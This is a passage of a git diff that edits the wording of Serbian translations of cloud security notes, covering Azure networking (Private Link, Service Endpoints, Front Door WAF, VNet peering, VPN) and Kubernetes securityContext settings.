Filtriranje zasnovano na obaveštajnoj inteligenciji | Uključuje sistem za otkrivanje i prevenciju upada (IDPS) | | **TLS inspekcija** | Nije dostupna | Nije dostupna | Podržava ulaznu/izlaznu TLS terminaciju | | **Dostupnost** | Fiksni backend (2 VM-a) | Automatsko skaliranje | Automatsko skaliranje | | **Jednostavnost upravljanja** | Osnovne kontrole | Upravljano putem Firewall Manager-a | Upravljano putem Firewall Manager-a | @@ -181,7 +181,7 @@ Private Link se može koristiti sa raznim Azure uslugama, kao što su Azure Stor **Primer:** -Razmotrite scenario u kojem imate **Azure SQL Database koju želite sigurno pristupiti iz vaše VNet**. Obično bi to moglo uključivati prolazak kroz javni internet. Sa Private Link-om, možete kreirati **privatnu krajnju tačku u vašoj VNet** koja se direktno povezuje sa Azure SQL Database uslugom. Ova krajnja tačka čini da baza podataka izgleda kao da je deo vaše vlastite VNet, dostupna putem privatne IP adrese, čime se osigurava siguran i privatni pristup. +Razmotrite scenario u kojem imate **Azure SQL Database koju želite da pristupite sigurno iz vaše VNet**. Obično bi to moglo uključivati prolazak kroz javni internet. Sa Private Link-om, možete kreirati **privatnu krajnju tačku u vašoj VNet** koja se direktno povezuje sa Azure SQL Database uslugom. Ova krajnja tačka čini da baza podataka izgleda kao da je deo vaše vlastite VNet, dostupna putem privatne IP adrese, čime se osigurava siguran i privatni pristup. ### **Enumeration** @@ -208,7 +208,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private ## Azure Service Endpoints -Azure Service Endpoints proširuju privatni adresni prostor vaše virtuelne mreže i identitet vašeg VNet-a na Azure usluge preko direktne veze. Omogućavanjem servisnih krajnjih tačaka, **resursi u vašem VNet-u mogu sigurno da se povežu sa Azure uslugama**, kao što su Azure Storage i Azure SQL Database, koristeći Azure-ovu osnovnu mrežu. Ovo osigurava da **saobraćaj iz VNet-a ka Azure usluzi ostaje unutar Azure mreže**, pružajući sigurniji i pouzdaniji put. +Azure Service Endpoints proširuju privatni adresni prostor vaše virtuelne mreže i identitet vašeg VNet-a na Azure usluge preko direktne veze. Omogućavanjem servisnih krajnjih tačaka, **resursi u vašem VNet-u mogu sigurno da se povežu sa Azure uslugama**, kao što su Azure Storage i Azure SQL Database, koristeći Azure-ovu osnovnu mrežu. Ovo osigurava da **saobraćaj iz VNet-a ka Azure usluzi ostaje unutar Azure mreže**, pružajući sigurniju i pouzdaniju putanju. **Primer:** @@ -247,23 +247,23 @@ Microsoft preporučuje korišćenje Privatnih Linkova u [**docs**](https://learn - Saobraćaj iz vašeg VNet-a do Azure servisa putuje preko Microsoft Azure backbone mreže, zaobilazeći javni internet. - Krajna tačka je direktna veza sa Azure servisom i ne obezbeđuje privatnu IP adresu za servis unutar VNet-a. -- Sam servis je i dalje dostupan putem svoje javne krajine tačke sa spolja, osim ako ne konfigurišete vatrozid servisa da blokira takav saobraćaj. +- Sam servis je i dalje dostupan putem svoje javne krajna tačke sa spoljašnje strane vašeg VNet-a, osim ako ne konfigurišete vatrozid servisa da blokira takav saobraćaj. - To je odnos jedan na jedan između podmreže i Azure servisa. - Jeftinije je od Privatnih Linkova. **Privatni Linkovi:** -- Privatni Link mapira Azure servise u vaš VNet putem privatne krajine tačke, koja je mrežni interfejs sa privatnom IP adresom unutar vašeg VNet-a. -- Azure servis se pristupa koristeći ovu privatnu IP adresu, što ga čini delom vaše mreže. +- Privatni Link mapira Azure servise u vaš VNet putem privatne krajna tačke, koja je mrežni interfejs sa privatnom IP adresom unutar vašeg VNet-a. +- Azure servis se pristupa koristeći ovu privatnu IP adresu, čineći da izgleda kao da je deo vaše mreže. - Servisi povezani putem Privatnog Linka mogu se pristupiti samo iz vašeg VNet-a ili povezanih mreža; nema javnog pristupa internetu do servisa. - Omogućava sigurnu vezu sa Azure servisima ili vašim sopstvenim servisima hostovanim u Azure-u, kao i vezu sa servisima koje dele drugi. -- Pruža detaljniju kontrolu pristupa putem privatne krajine tačke u vašem VNet-u, za razliku od šire kontrole pristupa na nivou podmreže sa servisnim krajim tačkama. +- Pruža detaljniju kontrolu pristupa putem privatne krajna tačke u vašem VNet-u, za razliku od šire kontrole pristupa na nivou podmreže sa servisnim krajnih tačaka. Ukratko, dok i Servisne Krajne Tačke i Privatni Linkovi pružaju sigurnu povezanost sa Azure servisima, **Privatni Linkovi nude viši nivo izolacije i sigurnosti osiguravajući da se servisi pristupaju privatno bez izlaganja javnom internetu**. Servisne Krajne Tačke, s druge strane, lakše se postavljaju za opšte slučajeve gde je potrebna jednostavna, sigurna povezanost sa Azure servisima bez potrebe za privatnom IP adresom u VNet-u. ## Azure Front Door (AFD) & AFD WAF -**Azure Front Door** je skalabilna i sigurna ulazna tačka za **brzu isporuku** vaših globalnih web aplikacija. **Kombinuje** razne usluge kao što su globalno **opterećenje balansiranje, ubrzanje sajta, SSL offloading i Web Application Firewall (WAF)** mogućnosti u jedinstvenu uslugu. Azure Front Door pruža inteligentno usmeravanje na osnovu **najbliže ivice lokacije korisniku**, osiguravajući optimalne performanse i pouzdanost. Pored toga, nudi usmeravanje zasnovano na URL-u, višesajtno hostovanje, afinitet sesije i sigurnost na aplikacionom nivou. +**Azure Front Door** je skalabilna i sigurna ulazna tačka za **brzu isporuku** vaših globalnih web aplikacija. **Kombinuje** različite usluge kao što su globalno **opterećenje balansiranje, ubrzanje sajta, SSL offloading i Web Application Firewall (WAF)** mogućnosti u jedinstvenu uslugu. Azure Front Door pruža inteligentno usmeravanje na osnovu **najbliže ivice lokacije korisniku**, osiguravajući optimalne performanse i pouzdanost. Pored toga, nudi usmeravanje zasnovano na URL-u, višesajtno hostovanje, afinitet sesije i sigurnost na aplikacionom nivou. **Azure Front Door WAF** je dizajniran da **štiti web aplikacije od napada zasnovanih na web-u** bez modifikacije pozadinskog koda. Uključuje prilagođena pravila i upravljane skupove pravila za zaštitu od pretnji kao što su SQL injekcija, cross-site scripting i drugih uobičajenih napada. @@ -296,11 +296,11 @@ Get-AzFrontDoorWafPolicy -Name -ResourceGroupName - ## Azure Hub, Spoke & VNet Peering -**VNet Peering** je mrežna funkcija u Azure koja **omogućava različitim Virtuelnim Mrežama (VNets) da budu direktno i neometano povezane**. Kroz VNet peering, resursi u jednoj VNet mogu komunicirati sa resursima u drugoj VNet koristeći privatne IP adrese, **kao da su u istoj mreži**.\ -**VNet Peering se takođe može koristiti sa on-prem mrežama** postavljanjem site-to-site VPN-a ili Azure ExpressRoute-a. +**VNet Peering** je mrežna funkcija u Azure koja **omogućava različitim Virtuelnim Mrežama (VNets) da budu povezane direktno i neprimetno**. Kroz VNet peering, resursi u jednoj VNet mogu komunicirati sa resursima u drugoj VNet koristeći privatne IP adrese, **kao da su u istoj mreži**.\ +**VNet Peering se takođe može koristiti sa lokalnim mrežama** postavljanjem site-to-site VPN-a ili Azure ExpressRoute. -**Azure Hub i Spoke** je mrežna topologija koja se koristi u Azure za upravljanje i organizovanje mrežnog saobraćaja. **"Hub" je centralna tačka koja kontroliše i usmerava saobraćaj između različitih "spokova"**. Hub obično sadrži deljene usluge kao što su mrežni virtuelni uređaji (NVAs), Azure VPN Gateway, Azure Firewall ili Azure Bastion. **"Spokovi" su VNets koje hostuju radne opterećenja i povezuju se sa hub-om koristeći VNet peering**, omogućavajući im da koriste deljene usluge unutar huba. Ovaj model promoviše čist raspored mreže, smanjujući složenost centralizovanjem zajedničkih usluga koje više radnih opterećenja iz različitih VNets mogu koristiti. +**Azure Hub i Spoke** je mrežna topologija koja se koristi u Azure za upravljanje i organizovanje mrežnog saobraćaja. **"Hub" je centralna tačka koja kontroliše i usmerava saobraćaj između različitih "spokes"**. Hub obično sadrži deljene usluge kao što su mrežni virtuelni uređaji (NVAs), Azure VPN Gateway, Azure Firewall ili Azure Bastion. **"Spokes" su VNets koje hostuju radne opterećenja i povezuju se sa hub-om koristeći VNet peering**, omogućavajući im da koriste deljene usluge unutar huba. Ovaj model promoviše čist raspored mreže, smanjujući složenost centralizovanjem zajedničkih usluga koje više radnih opterećenja iz različitih VNets mogu koristiti. -> [!CAUTION] > **VNET povezivanje nije tranzitivno u Azure**, što znači da ako je spok 1 povezan sa spokom 2, a spok 2 je povezan sa spokom 3, tada spok 1 ne može direktno komunicirati sa spokom 3. +> [!CAUTION] > **VNET povezivanje nije tranzitivno u Azure**, što znači da ako je spoke 1 povezan sa spoke 2, a spoke 2 je povezan sa spoke 3, tada spoke 1 ne može direktno komunicirati sa spoke 3. **Primer:** -Zamislite kompaniju sa odvojenim odeljenjima kao što su Prodaja, Ljudski resursi i Razvoj, **svako sa svojom VNet (spokovi)**. Ove VNets **zahtevaju pristup deljenim resursima** kao što su centralna baza podataka, vatrozid i internet prolaz, koji se svi nalaze u **drugoj VNet (hub)**. Korišćenjem modela Hub i Spoke, svako odeljenje može **sigurno da se poveže sa deljenim resursima kroz hub VNet bez izlaganja tih resursa javnom internetu** ili kreiranja složene mrežne strukture sa brojnim vezama. +Zamislite kompaniju sa odvojenim odeljenjima kao što su Prodaja, Ljudski resursi i Razvoj, **svako sa svojom VNet (spokes)**. Ove VNets **zahtevaju pristup deljenim resursima** kao što su centralna baza podataka, vatrozid i internet prolaz, koji se svi nalaze u **drugoj VNet (hub)**. Korišćenjem modela Hub i Spoke, svako odeljenje može **sigurno da se poveže sa deljenim resursima kroz hub VNet bez izlaganja tih resursa javnom internetu** ili kreiranja složene mrežne strukture sa brojnim vezama. ### Enumeration @@ -368,7 +368,7 @@ Site-to-Site VPN u Azure-u omogućava vam da **povežete vašu lokalnu mrežu sa **Primer:** -Firma čija se glavna kancelarija nalazi u Njujorku ima lokalni data centar koji treba da se sigurno poveže sa svojom VNet-om u Azure-u, koja hostuje njene virtualizovane radne opterećenja. Postavljanjem **Site-to-Site VPN-a, kompanija može osigurati enkriptovanu povezanost između lokalnih servera i Azure VM-ova**, omogućavajući resursima da se sigurno pristupa kroz oba okruženja kao da su u istoj lokalnoj mreži. +Firma čija se glavna kancelarija nalazi u Njujorku ima lokalni data centar koji treba da se sigurno poveže sa svojom VNet u Azure-u, koja hostuje njene virtualizovane radne opterećenja. Postavljanjem **Site-to-Site VPN-a, kompanija može osigurati enkriptovanu povezanost između lokalnih servera i Azure VM-ova**, omogućavajući resursima da se sigurno pristupa kroz oba okruženja kao da su u istoj lokalnoj mreži. ### **Enumeration** diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index bf5ddc613..a62f87847 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -17,13 +17,13 @@ Kada definišete bezbednosni kontekst Pod-a, možete koristiti nekoliko atributa |

fsGroup
integer

|

Specijalna dopunska grupa koja se primenjuje na sve kontejnere u podu. Neki tipovi volumena omogućavaju Kubelet-u da promeni vlasništvo tog volumena da bude u vlasništvu poda:
1. Vlasnički GID će biti FSGroup
2. setgid bit je postavljen (nove datoteke kreirane u volumenu će biti u vlasništvu FSGroup)
3. Dozvola je OR'd sa rw-rw---- Ako nije postavljeno, Kubelet neće menjati vlasništvo i dozvole bilo kog volumena

| |

fsGroupChangePolicy
string

| Ovo definiše ponašanje **promene vlasništva i dozvola volumena** pre nego što bude izložen unutar Pod-a. | -|

runAsGroup
integer

| **GID za pokretanje ulazne tačke procesa kontejnera**. Koristi podrazumevanu vrednost ako nije postavljeno. Može se takođe postaviti u SecurityContext. | -|

runAsNonRoot
boolean

| Ukazuje da kontejner mora da se pokrene kao korisnik koji nije root. Ako je tačno, Kubelet će validirati sliku u vreme izvršavanja kako bi osigurao da se ne pokreće kao UID 0 (root) i neće moći da pokrene kontejner ako to učini. | +|

runAsGroup
integer

| **GID za pokretanje ulazne tačke procesa kontejnera**. Koristi podrazumevanu vrednost vremena izvođenja ako nije postavljeno. Može se takođe postaviti u SecurityContext. | +|

runAsNonRoot
boolean

| Ukazuje da kontejner mora da se pokrene kao korisnik koji nije root. Ako je tačno, Kubelet će validirati sliku u vreme izvođenja kako bi osigurao da se ne pokreće kao UID 0 (root) i neće moći da pokrene kontejner ako to učini. | |

runAsUser
integer

| **UID za pokretanje ulazne tačke procesa kontejnera**. Podrazumevano se postavlja na korisnika navedenog u metapodacima slike ako nije navedeno. | |

seLinuxOptions
SELinuxOptions
Više informacija o seLinux

| **SELinux kontekst koji će se primeniti na sve kontejnere**. Ako nije navedeno, kontejnerski runtime će dodeliti nasumičan SELinux kontekst za svaki kontejner. | |

seccompProfile
SeccompProfile
Više informacija o Seccomp

| **seccomp opcije koje koriste kontejneri** u ovom podu. | |

supplementalGroups
integer array

| Lista **grupa primenjenih na prvi proces pokrenut u svakom kontejneru**, pored primarnog GID-a kontejnera. | -|

sysctls
Sysctl niz
Više informacija o sysctls

| Sysctls sadrži listu **imenskih sysctls korišćenih za pod**. Podovi sa nepodržanim sysctls (od strane kontejnerskog runtime-a) mogu propasti prilikom pokretanja. | +|

sysctls
Sysctl array
Više informacija o sysctls

| Sysctls sadrži listu **imenskih sysctls korišćenih za pod**. Podovi sa nepodržanim sysctls (od strane kontejnerskog runtime-a) mogu propasti prilikom pokretanja. | |

windowsOptions
WindowsSecurityContextOptions

| Windows specifične postavke primenjene na sve kontejnere. Ako nije navedeno, koristiće se opcije unutar SecurityContext-a kontejnera. | ## SecurityContext @@ -42,14 +42,14 @@ Ovaj kontekst se postavlja unutar **definicija kontejnera**. Sa stanovišta odbr Napomena: Atributi postavljeni u **SecurityContext i PodSecurityContext**, vrednost navedena u **SecurityContext** ima **prioritet**. -|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** kontroliše da li proces može **dobiti više privilegija** od svog roditeljskog procesa. Ova bool direktno kontroliše da li će no_new_privs flag biti postavljen na proces kontejnera. AllowPrivilegeEscalation je uvek tačno kada se kontejner pokreće kao **Privileged** ili ima **CAP_SYS_ADMIN** | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** kontroliše da li proces može **dobiti više privilegija** od svog roditeljskog procesa. Ova bool direktno kontroliše da li će se postaviti no_new_privs flag na procesu kontejnera. AllowPrivilegeEscalation je uvek tačno kada se kontejner pokreće kao **Privileged** ili ima **CAP_SYS_ADMIN** | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
Više informacija o Capabilities

| **kapaciteti za dodavanje/uklanjanje prilikom pokretanja kontejnera**. Podrazumevano se koristi podrazumevani skup kapaciteta. | +|

capabilities
Capabilities
Više informacija o Capabilities

| **Kapaciteti za dodavanje/uklanjanje prilikom pokretanja kontejnera**. Podrazumevano se koristi podrazumevani skup kapaciteta. | |

privileged
boolean

| Pokreni kontejner u privilegovanom režimu. Procesi u privilegovanim kontejnerima su suštinski **ekvivalentni root-u na hostu**. Podrazumevano je false. | |

procMount
string

| procMount označava **tip proc mount-a koji će se koristiti za kontejnere**. Podrazumevano je DefaultProcMount koji koristi podrazumevane vrednosti kontejnerskog runtime-a za samo-za-čitanje i maskirane putanje. | -|

readOnlyRootFilesystem
boolean

| Da li ovaj **kontejner ima samo-za-čitanje korenski datotečni sistem**. Podrazumevano je false. | -|

runAsGroup
integer

| **GID za pokretanje ulazne tačke** procesa kontejnera. Koristi podrazumevanu vrednost ako nije postavljeno. | -|

runAsNonRoot
boolean

| Ukazuje da kontejner mora **da se pokrene kao korisnik koji nije root**. Ako je tačno, Kubelet će validirati sliku u vreme izvršavanja kako bi osigurao da se ne pokreće kao UID 0 (root) i neće moći da pokrene kontejner ako to učini. | +|

readOnlyRootFilesystem
boolean

| Da li ovaj **kontejner ima samo-za-čitanje korenski sistem datoteka**. Podrazumevano je false. | +|

runAsGroup
integer

| **GID za pokretanje ulazne tačke** procesa kontejnera. Koristi podrazumevanu vrednost vremena izvođenja ako nije postavljeno. | +|

runAsNonRoot
boolean

| Ukazuje da kontejner mora **da se pokrene kao korisnik koji nije root**. Ako je tačno, Kubelet će validirati sliku u vreme izvođenja kako bi osigurao da se ne pokreće kao UID 0 (root) i neće moći da pokrene kontejner ako to učini. | |

runAsUser
integer

| **UID za pokretanje ulazne tačke** procesa kontejnera. Podrazumevano se postavlja na korisnika navedenog u metapodacima slike ako nije navedeno. | |

seLinuxOptions
SELinuxOptions
Više informacija o seLinux

| **SELinux kontekst koji će se primeniti na kontejner**. Ako nije navedeno, kontejnerski runtime će dodeliti nasumičan SELinux kontekst za svaki kontejner. | |

seccompProfile
SeccompProfile

| **seccomp opcije** koje koristi ovaj kontejner. |